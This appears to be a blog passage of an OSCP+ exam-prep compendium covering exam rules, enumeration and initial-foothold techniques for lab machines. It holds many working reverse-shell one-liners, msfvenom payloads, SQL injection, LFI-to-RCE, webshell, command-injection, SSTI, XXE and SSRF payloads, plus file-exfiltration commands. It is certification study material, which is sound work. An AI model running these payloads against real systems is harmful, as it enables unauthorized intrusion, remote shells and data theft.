MysticHackersBlog

Mastering OSCP+ - Recon to Root - The full Compendium


Quick and dirty for the sitting

A working compendium of techniques and lessons for OSCP/OSCP+ style machines, organized by attack phase rather than by box. Flip to whichever section matches the wall you're stuck at, and Ctrl+F the keyword (a port like 445, a technique like kerberoast, a tool like chisel).

It's built around the 2026 OSCP+ exam: three standalone machines (20 points each = 60) plus one Active Directory set of three machines (40 points), 70 to pass. No buffer-overflow machine, no bonus points. The AD set is the single biggest decider - land it early.

Where a technique entry runs deep, it tries to answer four questions: how do I recognize when this applies (surface / identification), why it works (the mechanism), how to exploit it (exact commands), and the gotchas that waste time when they bite.

Placeholders used throughout: $IP / $TARGET is the target machine, $LHOST / $LPORT is your attacking box (the tun0 IP on a VPN lab), $USER / $PASS are credentials when generic. Bash blocks assume Kali Linux.


Table of Contents

  1. Exam Strategy, Rules and Methodology
  2. Recon and Enumeration
  3. Foothold - Shells, Web, Services and Exploits
  4. Linux Privilege Escalation
  5. Windows Privilege Escalation
  6. Active Directory
  7. Pivoting and Tunneling
  8. Password Attacks and Cracking
  9. Exam Report
  10. Quick-Reference Appendix
  11. References

0. Exam Strategy, Rules and Methodology

0.1 Hard rules (don't get flagged)

  • No AI / LLM chatbots during the exam OR the report phase. This document is prep - you reference it offline. Don't even have a chatbot tab open.
  • Metasploit: ONE target only. Full MSF (exploit/auxiliary/post + one meterpreter) on a single machine of your choice. NOT usable for pivoting (that would touch more than one target). msfvenom, searchsploit, pattern_create, nasm_shell are NOT counted as "using Metasploit."
  • Responder poisoning/spoofing is BANNED on the exam. LLMNR/NBT-NS poisoning won't be the path. Responder is allowed only in analyze mode (don't run -w / poisoning).
  • Automatic exploitation tools are BANNED: SQLMap, SQLNinja, db_autopwn, browser_autopwn, and anything that auto-discovers-and-exploits. Mass scanners (Nessus, OpenVAS, Nexpose) are banned too. Do SQLi and all exploitation manually. Single-target tools like Nikto, dirb, nmap NSE are fine.
  • PowerShell Core / PSSession counts as a valid interactive shell.
  • Everything happens on the proctored host. Don't discuss the exam anywhere (Discord, forums) - instant policy violation.

0.2 Allowed tools (non-exhaustive, per OffSec)

BloodHound (Legacy + CE), SharpHound, PowerShell Empire, Covenant, PowerView, Rubeus, evil-winrm, Responder (analyze only), CrackMapExec / NetExec, Mimikatz, Impacket, PrintSpoofer. Standard non-MSF exploits are fine.

0.3 How the points pass

You need 70. Realistic winning lines:

  • AD (40) + 3 local.txt (30) = 70 (most common pass)
  • AD (40) + 2 local + 1 proof = 70
  • AD (20, partial) + all 3 standalones fully = 70
  • AD (10) + 3 standalones fully = 70

The AD set is the single biggest decider. Land AD first or early. Partial credit exists: foothold = 10, root = 10 on standalones; 10/10/20 on AD.

0.4 Time plan (24h, no pause)

  1. First 20-30 min: kick off nmap on every target, screenshot as scans run.
  2. Triage: note quick wins (obvious CVE, anon SMB, default creds).
  3. AD set early - it's 40 pts and chained; sinking those points first de-risks the day.
  4. Standalones: grab every foothold (10 pts each) before grinding any single privesc. Partial points stack.
  5. Rotate. Hard rule: if stuck 1.5-2h with zero progress, switch boxes. Come back fresh.
  6. Stop hacking ~2h before the window ends. Verify every flag, re-take any missing screenshot, confirm proof.txt contents.

0.5 Proof discipline (you lose points without this)

  • Screenshot local.txt / proof.txt WITH whoami / id / ipconfig / hostname in the SAME frame.
  • Screenshot the IP of the target in the shell.
  • Log everything: script or just keep a per-box markdown with every command + output.
  • Take MORE screenshots than you think you need. You cannot re-enter after the window closes.

0.6 Per-box note template (copy for each target)

## <IP> - <hostname>
Ports:
Foothold: <how> | cred: <user:pass> | local.txt: <hash>
Privesc: <how> | proof.txt: <hash>
Screenshots: [ ] foothold+id  [ ] root+id  [ ] local.txt  [ ] proof.txt

0.7 Methodology and mindset

  • Default creds before brute force, on every service. Build the reflex: enumerate -> grab every banner -> Google <product> default credentials for each service -> only then start brute-forcing. zFTPServer admin:admin tested late after 18 minutes of hydra on basic auth is the canonical time-sink.
  • Themed banners and quotes are flavor, not strategy. A basic-auth realm string that reads like a brute-force invitation ("he who wants the kernel must crack the nut") is almost always a thematic flourish, not an enumeration hint. Test other services first.
  • Test every parameter on every endpoint. When a primitive exists in one parameter on one endpoint, check whether other endpoints honor it too. Path traversal in cwd on a download endpoint is half a vulnerability; the same cwd on an upload endpoint is the whole vulnerability.
  • Privilege-boundary mapping after LFI. When LFI lands, immediately test what you can't read. The denials tell you which user the process runs as, which dictates whether your file-write primitives will be honored.
  • LFI is reconnaissance for every later phase. Whenever LFI lands, enumerate every file you'll need later - ~/.ssh/ (entire directory), /etc/crontab, application configs, recent log files. Pre-stage privesc targets before the foothold.
  • Always read what's hand-installed under /usr/local/. Distro binaries are vetted; bespoke ones are where the bugs live. strings is the first stop.
  • Service-level fingerprinting beats web-UI version strings. A patched-looking web UI does not mean every listener bound by the same product is patched. If a known legacy port is still open, try the legacy exploit even if the version says no.
  • PoC vs weaponized exploit gap. When a recent CVE only ships a detection script, walk the product's CVE history backwards - older RCEs are usually weaponized and may still apply to the same code paths.
  • Catcher selection is tradecraft. Penelope auto-upgrades raw shells - feeding it a pre-ptied connection breaks it. rlwrap nc is the bulletproof fallback but doesn't auto-upgrade. Choose deliberately.
  • Persistence first, enumeration second. Drop your pubkey at every privilege level immediately. A 10-second SSH login beats a 10-minute exploit chain replay.
  • Note every dead-end with the reason. "SSH-key write failed because the Redis daemon runs as an unexpected user with no writable .ssh directory" is more useful than "SSH-key write didn't work." The dead-ends are the methodology.
  • Promote reusable bits to the cheatsheet immediately. The gcc-includes fix saves future-you 5 minutes - but only if it's recorded, not buried in a per-box writeup.
  • Capture commands as you go, not after. script -f session.log at the start of every engagement, or tee everything to a file. Reconstructing from memory is how typos and made-up commands sneak into notes.
  • Mark every technique by whether it works without msf. The exam allows one machine to use Metasploit - saves panic on test day.
  • A TimeoutError on a reverse-shell trigger is not failure. Many exploit wrappers (Redis rogue master, salt-stack runners, web RCE PoCs) expect their executed command to return; a reverse-shell payload hands control to the listener and doesn't return. Check the listener before assuming the exploit didn't fire.
  • Pre-stage your toolbox on Kali so reverting a machine doesn't cost 20 minutes of apt install: penelope.py, linpeas.sh/winPEASany.exe/linenum.sh, pspy64, BloodHound (+ CE) and SharpHound, certipy-ad / impacket-* / evil-winrm / nxc, chisel and ligolo-ng, feroxbuster/ffuf/gobuster, hashcat/john, Responder (analyze), pwntools + GDB (pwndbg/peda), ROPgadget/one_gadget/pwninit, and the Windows binaries (JuicyPotato.exe, JuicyPotatoNG.exe, PrintSpoofer64.exe, GodPotato, nc.exe, PowerView, mimikatz, PwnKit). Keep them statically built or pre-downloaded.

01. Recon and Enumeration

1.1 Nmap (run on all targets first thing)

# Fast full TCP port discovery
nmap -p- --min-rate 5000 -T4 -Pn -oN nmap/allports.txt $IP
# Then deep scan only the open ports
ports=$(grep ^[0-9] nmap/allports.txt | cut -d/ -f1 | paste -sd,)
nmap -p$ports -sCV -A -Pn -oN nmap/deep.txt $IP
# UDP top ports (slow - kick off and forget; SNMP/DNS/TFTP/IKE matter)
sudo nmap -sU --top-ports 100 -oN nmap/udp.txt $IP
# Vuln scripts (noisy)
nmap -p$ports --script vuln -oN nmap/vuln.txt $IP
  • -sCV = default scripts + version. -Pn skips host discovery (exam boxes block ping). --min-rate keeps it moving.
  • Run the UDP scan in a separate pane so the slow scan doesn't block your TCP work.
  • Automation (enumeration only, exam-safe): AutoRecon / nmapAutomator fan out per-service enum for you - fine to run since they enumerate, not auto-exploit. Still read everything yourself.
  • Always note the OS hint, hostname, domain name.

1.2 /etc/hosts - do this for EVERY web/AD box

echo "$IP target.htb dc01.target.htb target" | sudo tee -a /etc/hosts

Add the hostname as soon as a redirect, cert SAN, or scan reveals one. vhosts/SNI matter; many web apps 302 to a hostname and the request fails silently against the bare IP.

1.3 Port-knock: first-five-things per open port

General pattern for any open port: identify version -> searchsploit -> CVE -> try unauth/default creds -> read/write primitives -> escalate.

PortServiceFirst five actions
21FTPanon login (ftp -inv $IP), banner -> searchsploit, list root, look for upload, check for /etc/passwd-style paths
22SSHbanner -> CVE check (rare on modern), user enum via timing (older), key auth tests if you have keys
23Telnetbanner, creds
25SMTPVRFY/EXPN/RCPT TO user enum, open relay test
53DNSdig axfr @$IP <domain>, zone transfer for subdomain leaks
79Fingerfinger @$IP, user enum on old boxes
80HTTPmanual browse, whatweb, feroxbuster, view source, robots.txt, .git/
88Kerberosit's a DC -> AD section (AS-REP roast, kerberoast)
110POP3banner, weak creds, read mail for creds
139/445SMBsmbclient -L //$IP -N, enum4linux-ng $IP, nxc smb $IP --shares, null sessions, anon shares
143IMAPbanner, weak creds, read mail
161SNMP (UDP)snmpwalk -v2c -c public $IP, process args/creds, onesixtyone to brute community
389/636LDAPldapsearch naming contexts, AS-REP roast via nxc, windapsearch
443HTTPSas 80, plus cert subjects/SANs for hostnames
1433MSSQLweak SA, xp_cmdshell, nxc mssql, linked servers (double-hop)
2049NFSshowmount -e $IP, mount and check for no_root_squash
3306MySQLweak creds, version -> searchsploit, INTO OUTFILE for file write if FILE priv, load_file
3389RDPxfreerdp /u: /v:$IP, NLA toggle, BlueKeep check
5432PostgreSQLweak creds, COPY ... FROM PROGRAM, large-object tricks, read backups
5985WinRMevil-winrm with creds, nxc winrm for spraying ("Pwn3d!")
6379Redissee 2.3.1
8080HTTP-altTomcat manager, Jenkins, Gitea - dirbust the path, do NOT assume 404 means empty
9200Elasticversion -> CVE-2014-3120/2015-1427 RCE on old; data exfil via _search
27017MongoDBunauth mongo $IP, drop in shell, exfil collections
11211memcachedunauth stats, slabs dump
873rsyncrsync $IP:: for module listing, anon read

1.4 Per-port commands

# 21 FTP
ftp $IP            # try anonymous:anonymous
nmap --script ftp-anon,ftp-vsftpd-backdoor -p21 $IP   # binary mode for non-text; "ls -la" for hidden

# 25/587 SMTP
nmap --script smtp-commands,smtp-enum-users -p25 $IP
smtp-user-enum -M VRFY -U users.txt -t $IP
swaks --to [email protected] --from [email protected] --server $IP --body "hi" --attach @payload.txt   # send mail / client-side payloads

# 53 DNS
dig axfr target.htb @$IP          # zone transfer (Trick box pattern)
dig any target.htb @$IP
dnsrecon -d target.htb -n $IP -t axfr

# 111 RPCbind / NFS
showmount -e $IP                  # list exports
rpcinfo -p $IP
mkdir /mnt/nfs; sudo mount -t nfs $IP:/export /mnt/nfs -o nolock   # no_root_squash export -> privesc later

# 135 / 139 / 445 SMB
nxc smb $IP -u '' -p '' --shares                 # null session
nxc smb $IP -u 'guest' -p '' --shares
enum4linux-ng -A $IP
smbclient -L //$IP/ -N                            # list shares anon
smbclient //$IP/share -N                          # connect anon
smbmap -H $IP -u null                             # perms per share
nxc smb $IP -u user -p pass --rid-brute           # user enumeration
nmap --script smb-vuln* -p445 $IP                 # MS17-010 etc.

# 161 UDP SNMP
snmpwalk -v2c -c public $IP
snmpwalk -v2c -c public $IP NET-SNMP-EXTEND-MIB::nsExtendObjects   # run cmds output
onesixtyone -c community.txt $IP                  # brute community string
# look for: process args (creds!), installed software, user accounts

# 389/636 LDAP
ldapsearch -x -H ldap://$IP -s base namingcontexts
ldapsearch -x -H ldap://$IP -b "DC=target,DC=htb"
nxc ldap $IP -u user -p pass --asreproast hashes.txt
# windapsearch / ldapdomaindump for AD

# 1433 MSSQL
impacket-mssqlclient user:pass@$IP -windows-auth
# in client: enable_xp_cmdshell ; xp_cmdshell 'whoami'
nxc mssql $IP -u sa -p pass -x "whoami"
# linked servers (POO box pattern): EXEC sp_linkedservers ; double-hop via openquery

# 3389 RDP
xfreerdp /u:user /p:pass /v:$IP /cert:ignore +clipboard /dynamic-resolution
nxc rdp $IP -u user -p pass

# 5985/5986 WinRM
nxc winrm $IP -u user -p pass            # "(Pwn3d!)" = you can evil-winrm
evil-winrm -i $IP -u user -p pass
evil-winrm -i $IP -u user -H <NThash>    # pass-the-hash

Quick ones: 22 SSH version -> searchsploit, key reuse, weak creds (hydra), user enum on old OpenSSH. 3306 MySQL mysql -h $IP -u root -p, UDF privesc, file read (load_file, secure_file_priv). 5432 Postgres psql -h $IP -U postgres, COPY ... FROM PROGRAM RCE, read backups (Slonik pattern). 6379 Redis redis-cli -h $IP, webshell write via config set dir, SSH key write.

1.5 Web enumeration (80/443/8080/8000/8443...)

whatweb http://$IP ; curl -sI http://$IP            # tech, headers, server
# directory/file brute
feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,html,bak,zip
gobuster dir -u http://$IP -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 50
ffuf -u http://$IP/FUZZ -w wordlist -e .php,.txt,.bak -mc all -fc 404
# vhost / subdomain fuzz (needs hostname in /etc/hosts)
ffuf -u http://$IP -H "Host: FUZZ.target.htb" -w subdomains.txt -fs <baseline-size>
# CMS
nikto -h http://$IP
wpscan --url http://$IP --enumerate u,vp,vt --api-token <opt>
droopescan scan drupal -u http://$IP
joomscan -u http://$IP
# always: view-source, /robots.txt, /sitemap.xml, comments, JS files (endpoints/creds),
# default creds, /server-status, .git/ (git-dumper), backup files (.bak ~ .swp .old)

Param fuzzing: ffuf -u 'http://$IP/page.php?FUZZ=test' -w params.txt -fs <size> then test each for LFI/SQLi.

1.6 Anonymous FTP on Windows is usually a service interface

Anonymous FTP on a Windows host is rarely just file storage. It's almost always a product-specific interface, and the folder layout fingerprints the product:

Folder layoutProduct
ImapRetrieval/, PopRetrieval/, Spool/, Logs/SmarterMail
Data/<domain>/<user>/...hMailServer
Postoffices/<domain>/Mailroot/...MailEnable
Users/<domain>/... with no retrieval foldersMDaemon
accounts/, extensions/, certificates/, log/zFTPServer

Once identified: confirm with nmap -sV on the product's web port (e.g. SmarterMail on :9998), pull every log file (older builds leak usernames or recipient addresses that feed user-list attacks later), and cross-reference the version against known CVEs.

1.7 Web fingerprinting when there is no banner

Some CMSes (Grav is a notable example) don't expose a version string anywhere obvious. When whatweb, wappalyzer, and view-source come up empty, walk the install's known-shipped files in order:

# 1. CHANGELOG.md - shipped in the release tarball, usually exposed
curl -s http://$IP/path/CHANGELOG.md | head -30
# 2. Plugin/admin changelog (separate from core version)
curl -s http://$IP/path/user/plugins/admin/CHANGELOG.md | head -30
# 3. composer.json / composer.lock
curl -s http://$IP/path/composer.json
curl -s http://$IP/path/composer.lock | grep -A2 '"name":'
# 4. README.md / VERSION
curl -s http://$IP/path/README.md | head -20
# 5. JS bundle paths - version sometimes baked into asset hashes
curl -s http://$IP/path/admin/login -o login.html
grep -E 'version|admin-all|vendor-all' login.html
# 6. Plugin/theme blueprints (YAML files)
curl -s http://$IP/path/user/plugins/admin/blueprints.yaml

If all of that fails, install-timestamp + GitHub release calendar is the last-ditch fingerprint: get the timestamp (Apache http-ls, curl -I Last-Modified, directory listing), pull the project's GitHub release history, find the version current on or just before that date. This works because most lab boxes are unzipped from a specific release tarball at install time and the file timestamps don't get touched afterwards. If they did (touch / tar --touch), cross-check timestamps on multiple files.

1.8 When 404 means "subpath app"

Embedded Jetty/Tomcat services (ZooKeeper Exhibitor, Solr, Jenkins, Spark UI, Kafka admin) mount their UIs at a sub-path. The HTTP root frequently returns 404 even when a perfectly accessible admin UI lives at /exhibitor/, /jenkins/, /solr/, etc. A Powered by Jetty or Tomcat banner on the 404 page is a strong tell that something is hosted there - dirbust the path, don't walk away.

1.9 Two ports for one product are independent auth scopes

Some products bind two ports for the same service (FTP service on :21, FTP admin protocol on :3145, for example). The default credential sets are often different for the two ports. Test the product's documented defaults on each port separately before assuming one is locked down. nxc is faster than hydra here - sweep with documented defaults first, hydra against rockyou only after.

1.10 Apache Options +Indexes is a recon gift

The http-ls nmap script catches it automatically:

| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2021-03-17 17:46  grav-admin/

The directory listing reveals app names, install timestamps, and (when the admin forgot to suppress them) backup files. The timestamps frequently double as a version-fingerprint primitive (see 1.7).

1.11 Subdomain busting

ffuf -H "Host: FUZZ.target.local" -u http://target.local \
     -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fw 1

A negative result on a lab box is normal - don't burn 30 minutes on it.

1.12 Lab aside: tun0 MTU fragmentation

If scans or shells stall on a VPN lab, it's usually MTU fragmentation on the tunnel: sudo ip link set dev tun0 mtu 1200.


02. Foothold - Shells, Web, Services and Exploits

2.1 Shells, upgrades and file transfer

Reverse shell one-liners (set $LHOST/$LPORT first)

# Listener
nc -lvnp 443           # or: rlwrap nc -lvnp 443   (arrow keys/history)

# Bash
bash -i >& /dev/tcp/$LHOST/443 0>&1
# alt (no /dev/tcp):
exec 5<>/dev/tcp/$LHOST/443; cat <&5 | while read l; do $l 2>&5 >&5; done

# sh / busybox
/bin/sh -i >& /dev/tcp/$LHOST/443 0>&1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $LHOST 443 >/tmp/f

# Python3
python3 -c 'import socket,subprocess,os,pty;s=socket.socket();s.connect(("$LHOST",443));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'

# PHP
php -r '$s=fsockopen("$LHOST",443);exec("/bin/sh -i <&3 >&3 2>&3");'

# Perl
perl -e 'use Socket;$i="$LHOST";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'

# nc (only on traditional/openbsd netcat)
nc -e /bin/bash $LHOST 443

# Powershell (Windows)
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('$LHOST',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"

Generate/encode shells fast with revshells.com (memorize the format; can't browse during exam unless you cache it).

Catcher choice matrix

ListenerWhen
nc -lvnp <port>Unambiguous baseline; raw bytes only
rlwrap nc -lvnpAdds readline history, arrow keys
penelope -i tun0 -p <port>Auto PTY upgrades, logging, multi-session, file transfer
pwncat-cs -lp <port>Persistence, port forwards, modules
msfconsole exploit/multi/handlerRequired for any windows/* or meterpreter payload

When debugging "no callback," regress to plain nc -lvnp - strips out framing assumptions and tells you whether any TCP byte arrived.

Penelope vs raw payloads

penelope automatically upgrades incoming shells to a full PTY, so feed it raw shells only. A pre-ptied connection (your payload already called pty.spawn) causes penelope's upgrade routine to double-fire and hang.

CatcherPayload type
penelopeRaw shells only: bash -c 'bash -i >& /dev/tcp/...', nc -e, raw socket-dup payloads
rlwrap ncAnything, no auto-upgrade

Stabilize a Linux TTY (do this immediately)

python3 -c 'import pty;pty.spawn("/bin/bash")'   # or python / script -qc /bin/bash /dev/null
export TERM=xterm-256color
# background w/ Ctrl-Z, then on YOUR box:
stty raw -echo; fg
# (press Enter twice). Now you have arrows, tab, Ctrl-C.
stty size            # on your box -> get rows/cols
stty rows 50 columns 200   # in the shell

This gets you tab completion, arrow-key history, Ctrl-C without killing the shell, and vim/less/sudo prompts that need a real terminal.

Shell quoting rules (the bit that breaks everything)

When passing a shell payload through an RCE wrapper (SaltStack PoC, web exploit -c parameter, etc.), quoting nesting matters more than payload content.

# Single quotes inside double quotes - SAFE
./exploit.py --execute "bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
# Double quotes inside double quotes - BREAKS (f-string / shell expansion conflicts)
./exploit.py --execute "bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\""
# Double single quotes - RUNS LOCALLY, not on the target
./exploit.py --execute ''cmd''

If quoting becomes intractable, base64 the payload and let the remote shell decode it:

PAYLOAD=$(echo -n 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1' | base64 -w0)
# Send: bash -c "{echo,${PAYLOAD}}|{base64,-d}|bash"

Reverse shell egress troubleshooting (ICMP -> HTTP -> shell ladder)

# Step 1 - test code execution at all (ICMP, lighter than TCP). On Kali:
sudo tcpdump -i tun0 icmp
# Via the exploit:
exploit --execute "ping -c 3 $LHOST"
# Hits in tcpdump -> code exec works ; No hits -> exec is broken, not the shell

# Step 2 - test outbound TCP on your chosen port
exploit --execute "curl http://$LHOST:8000/test"   # On Kali: python3 -m http.server 8000
# Hits -> shell payload is the problem ; No hits -> TCP egress filtered, use HTTP/ICMP exfil

msfvenom payloads (NOT counted as Metasploit usage)

msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o rev.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o met.exe   # only on your one MSF box
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f elf -o rev.elf
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war -o shell.war           # Tomcat
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f aspx -o shell.aspx
msfvenom -p php/reverse_php LHOST=$LHOST LPORT=443 -f raw -o shell.php                       # strip leading comment / add <?php
# DLL / MSI / shellcode as needed: -f dll | msi | raw

File transfer

# --- Serve from attacker ---
python3 -m http.server 80
impacket-smbserver share $(pwd) -smb2support            # add -user x -password y if needed

# --- Linux target pulls ---
wget http://$LHOST/file -O /tmp/file
curl http://$LHOST/file -o /tmp/file
exec 3<>/dev/tcp/$LHOST/80; echo -e "GET /file HTTP/1.0\r\n\r" >&3; cat <&3   # no wget/curl

# --- Windows target pulls ---
certutil -urlcache -split -f http://$LHOST/file.exe file.exe
powershell -c "iwr http://$LHOST/file.exe -OutFile file.exe"
powershell -c "(New-Object Net.WebClient).DownloadFile('http://$LHOST/f.exe','f.exe')"
copy \\$LHOST\share\file.exe .        # from impacket-smbserver
powershell -c "(New-Object Net.WebClient).UploadFile('http://$LHOST/up','f')"   # exfil (need a receiver)

2.2 Web exploitation

The CMS attack pattern

The same flow works for Subrion, Backdrop, Grav, ZoneMinder, Flowise, WordPress, and a dozen other CMSes: fingerprint the CMS (footer text, robots.txt patterns, favicon hash, JS bundle paths), get the version (see 1.7 if no banner), searchsploit / Google <CMS> <version> exploit for known CVEs, try default credentials at the admin panel (admin:admin, admin:password, <product>:<product>), and look for an authenticated file-upload RCE - the most common exploit class. Always try default creds before brute-forcing or chasing a CVE.

SQL injection (manual only - SQLMap is banned)

-- Detect: ' " `  )  --  #  ;   | observe errors / changed behavior
' OR 1=1-- -            -- auth bypass (also: admin'-- - / admin' #)
" OR ""="                -- string ctx
-- Find column count
' ORDER BY 5-- -         -- bump until error
' UNION SELECT NULL,NULL,NULL-- -   -- match count, find printable cols
-- MySQL data
' UNION SELECT 1,@@version,3-- -
' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata-- -
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT 1,group_concat(user,0x3a,password),3 FROM users-- -
-- MySQL file read/write (RCE)
' UNION SELECT 1,load_file('/etc/passwd'),3-- -
' UNION SELECT 1,'<?php system($_GET[c]);?>',3 INTO OUTFILE '/var/www/html/sh.php'-- -
-- MSSQL stacked + RCE
'; EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami';-- -

Blind: ' AND 1=1-- - vs ' AND 1=2-- -; time-based: ' AND SLEEP(5)-- - / WAITFOR DELAY '0:0:5'. SQLMap is BANNED on the exam (automatic exploitation tool) - do SQLi manually. For off-exam practice only: sqlmap -r req.txt --batch --dbs / --dump.

LFI / RFI / path traversal

# Basic
http://$IP/page.php?file=../../../../etc/passwd
# Double / nested traversal bypass (Trick box pattern)
....//....//....//etc/passwd        # strips "../" once
%2e%2e%2f  / %252e (double url-encode)
# PHP wrappers
php://filter/convert.base64-encode/resource=index.php     # leak source
php://filter/read=string.rot13/resource=config.php
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTs/Pg==   # data: RCE
expect://id                                                     # if expect ext
# Log poisoning -> RCE (inject PHP into User-Agent, then include the log)
curl http://$IP/ -A "<?php system(\$_GET['c']); ?>"
?file=/var/log/apache2/access.log&c=id
# PHP FILTER CHAIN -> RCE (no log/upload needed; great when only LFI exists - Dante pattern)
#   github.com/synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
#   paste the produced php://filter/... blob as the include value, then &c=id
# Other read targets: /proc/self/environ, ssh keys (/home/u/.ssh/id_rsa),
#   /var/www/html/config.php, web.config, /etc/shadow, history files

Windows LFI: ..\..\..\Windows\System32\drivers\etc\hosts, C:\inetpub\wwwroot\web.config.

Path traversal in directory parameters

Surface: a web app with a cwd, dir, path, folder, or directory parameter, particularly on download or file-listing endpoints. Developers reflexively sanitize anything called "filename" (basename strip) but treat the directory parameter permissively because by design it has to accept path components. File.join (Ruby) and equivalents (PHP, Python os.path.join) do not normalize .. segments - they just glue strings - so a traversal payload in cwd escapes the storage dir while file stays well-formed and bypasses any basename check.

GET /filemanager?cwd=../../../../../../etc&file=passwd&download=true
GET /filemanager?cwd=../../../../../../home/user/.ssh/keys&file=id_rsa&download=true

Storage dir is often 5-7 levels deep from /; iterate traversal depth until you hit content. Most apps need an action flag like &download=true to route to the file-serving handler.

Critically, test the same parameter on every other endpoint: a cwd traversal on GET /filemanager?download=true lets you read any file the web process can read; the same cwd on POST /filemanager (upload) lets you write any file it can write - which turns into a shell when you write authorized_keys into the daemon user's ~/.ssh/.

Privilege-boundary mapping after LFI

When LFI (or any arbitrary-read primitive) lands, the bug itself doesn't tell you which user the process runs as. Map the boundary by testing what you can't read:

GET /filemanager?cwd=../../../../../../root&file=anything  -> permission denied

A permission-denied on /root (mode 0700, owned by root) means the web process is not root. Combined with successful reads in a regular user's home, you've identified the process owner. Whenever LFI lands, immediately test /root/.bash_history or /root/anything (readable?), /etc/shadow (generally only root), and other users' homes (/home/*/..., tells you if you can pivot laterally through filesystem writes). LFI is also recon for later phases: read ~/.ssh/ (entire directory), /etc/crontab, app configs, and recent logs to pre-stage privesc before you even land the shell.

File upload bypass -> webshell

  • Extension tricks: shell.php.jpg, shell.pHp, shell.php5/.phtml/.phar, trailing dot shell.php. (Environment box pattern), null byte shell.php%00.jpg (old PHP), double extension.
  • Content-Type spoof: set Content-Type: image/png but PHP body.
  • Magic bytes: prepend GIF89a; then <?php system($_GET['c']);?>.
  • .htaccess upload to map a new ext to PHP: AddType application/x-httpd-php .xyz.
  • ASP/ASPX/JSP equivalents for Windows/Tomcat; .war for Tomcat manager.
  • Find the upload path with feroxbuster, then ?c=id.

Command injection

; id        | id        || id        & id        && id
$(id)       `id`        %0a id (newline)
# blind: ping yourself / curl yourself / sleep
; ping -c3 $LHOST     ; curl http://$LHOST/$(whoami)     ; sleep 5
# filtered space: ${IFS} or {cat,/etc/passwd} or <
cat${IFS}/etc/passwd

SSRF (DevArea / Apache CXF pattern)

Hit internal services (http://127.0.0.1:port, cloud metadata http://169.254.169.254/...). Bypass filters with http://127.1, http://0, decimal/hex IP, http://localhost, DNS rebinding, @ tricks (http://[email protected]). Chain to internal admin panels / Redis / unauth APIs.

XXE

<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>
<!-- OOB / blind: pull external DTD from your http server; PHP filter to base64 large files -->

Rails mass-assignment

Surface: a Rails app (X-Frame-Options: SAMEORIGIN, X-Request-Id, X-Runtime headers; session cookie like _appname_session) with an endpoint that updates a model and returns it serialized as JSON. Rails controllers can update model attributes from a request hash via @user.update(params[:user]); if the developer didn't filter through strong_parameters (.permit(...)), every column becomes settable from the request - including booleans that gate login, admin flags, role columns. A response containing a sensitive attribute ("confirmed": false, "admin": false, "role": "user") is almost certainly also accepting that attribute on input.

# Original
_method=patch&authenticity_token=<token>&user[email]=x@x&commit=Change%20email
# Add the sensitive field
_method=patch&authenticity_token=<token>&user[email]=x@x&user[confirmed]=true&commit=Change%20email

Reflex: any time a Rails app returns model JSON, inspect every attribute and try setting each in the request. role, admin, confirmed, verified, enabled are the targets.

Server-Side Template Injection (SSTI)

# Detect: inject and look for evaluation -> "49"
{{7*7}}   ${7*7}   <%= 7*7 %>   #{7*7}   ${{7*7}}   *{7*7}
# Polyglot to fingerprint engine: ${{<%[%'"}}%\
# Jinja2 (Python/Flask) RCE:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
# Twig (PHP):
{{['id']|filter('system')}}
{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}
# Freemarker (Java):
<#assign ex='freemarker.template.utility.Execute'?new()>${ ex('id') }
# Ruby ERB:  <%= `id` %>      Velocity / Smarty also vuln
# tplmap = semi-automated (allowed; manual preferred). Base64-wrap cmds to dodge filters.

Specific CVE - Grav Admin Plugin SSTI (CVE-2021-21425). Surface: Grav CMS with admin plugin (/admin resolves to a login page), version 1.7.0 through 1.7.10 (admin plugin <= 1.10.10). The admin plugin's task handler evaluates a task parameter as a Twig template; chaining auth bypass + Twig SSTI yields unauthenticated RCE as the web user.

git clone https://github.com/CsEnox/CVE-2021-21425
cd CVE-2021-21425
# Always test command execution first
sudo tcpdump -i tun0 icmp &
python3 exploit.py -t http://$IP/grav-admin -c 'ping -c 3 $LHOST'
# Reverse shell
penelope -i tun0 -p $LPORT
